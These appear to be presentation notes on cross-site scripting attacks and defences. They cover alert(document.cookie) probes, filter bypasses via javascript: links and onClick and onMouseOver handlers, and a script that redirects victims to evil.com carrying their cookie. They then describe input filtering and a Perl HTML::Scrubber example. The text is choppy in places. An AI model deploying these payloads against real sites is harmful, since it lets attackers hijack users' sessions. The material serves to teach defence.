By :

Augusta

http://www.steve.org.uk/Hacks/XSS/index.html

XSS attacks /cross site scripting almost always focus upon sites which

use cookies for storing your username and password

Open Web Application Security Project's (OWASP) top 10 list of exploited vulnerabilities

to steal the cookie of a user of the site Steal in this context means get a copy of,

rather than removing the original

<script> alert(document.cookie); </script>

<script> alert(document.cookie); </script>

submit

Basic filtered input

<script and script> are filtered…. deleted

They found some other way to avoid dependence on javascript tag

Other ways of calling Javascript <ahref="javascript:alert(document.c

ookie);">Click me</a> <a href="advanced.html"

onClick="alert(document.cookie)">test</a>

I can run script, what now?

you don't want to have people viewing the popup boxes all day!

you want to do something more useful?

redirect the user This would allow you to record the users

cookie for later (ab)use <script> document.location =

'http://evil.com/blah.cgi?cookie=' + document.cookie; </script>

This would redirect the user to a CGI script called 'blah.cgi' on a website 'evil.com'.

The CGI script gets given the cookie of the innocent user as a parameter called 'cookie'

To next level

Using the onClick handler you have to rely upon the user clicking on a link you have placed

user will not click it, so what then?

use another method onMouseOver

this allows you to have code executed when the mouse pointer merely moves over a link

<a href="whatnow.html" onMouseOver="alert(document.cookie);">Test</a>

best defense against XSS attacks??1. good filtering of input --If you allow users to send

messages to each other, for example, you really must filter all input from the sender to make sure it's secure

Some sites will allow you to enter a URL, then they will display it as a clickable link such as:

<a href="URI">URI</a>

<a href="http://foocome" onMouseOver="alert(document.cookie)">http://foocome" onMouseOver="alert(document.cookie)</a>

2. Use HTML scrubber- A good Perl module for filtering all input

read this:

http://search.cpan.org/~podmaster/HTML- Scrubber-0.08/Scrubber.pm

Pearl code

#!/usr/bin/perl -w use HTML::Scrubber; use strict; # my $html = q[ <style type="text/css"> BAD { background: #666; color: #666;} </style> <script language="javascript"> alert("Hello, I am EVIL!"); </script> <HR> a => <a href=1>link </a> br => <br> b => <B> bold </B> u => <U> UNDERLINE </U> ]; # my $scrubber = HTML::Scrubber->new( allow => [ qw[ p b i u hr br ] ] ); # # print $scrubber->scrub($html); # # $scrubber->deny( qw[ p b i u hr br ] ); # # print $scrubber->scrub($html); # #

I wasn't satisfied with HTML::Sanitizer because it is based on HTML::TreeBuilder, so I thought I'd write something similar that works directly with HTML::Parser

3. new W3C draft on mozilla firefox4. Ms patch :: crsscri

Just another point of view!!! XSS is bad or good?? Who are you to decide?? What about mash ups 99acre and googlemap!!!

Thank you so much. I am honored by your presence.